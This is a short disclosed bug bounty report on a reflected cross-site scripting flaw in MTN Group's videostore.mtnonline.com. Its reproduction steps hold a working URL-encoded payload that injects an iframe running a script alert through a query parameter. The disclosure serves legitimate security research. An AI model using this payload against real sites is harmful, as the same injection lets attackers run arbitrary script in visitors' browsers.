MTN Group · Report #1646248
Reflected xss on videostore.mtnonline.com
Validstatus
highseverity
10upvotes
25 Sept 2022disclosed
How it was found
Summary:
Hi, I found reflected xss vuln on videostore.mtnonline.com
Steps To Reproduce:
- Open browser
- Go to
https://videostore.mtnonline.com/GL/Default.aspx?PId=126&CId=5&OprId=11&Ctg=OF25MTNNGVS_LapsInTime%22%27testxxx%3E%3Ciframe%20src=%22data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E%22%3E%3C/iframe%3Eurl - Browser show alert popup
Impact
We can run javascript code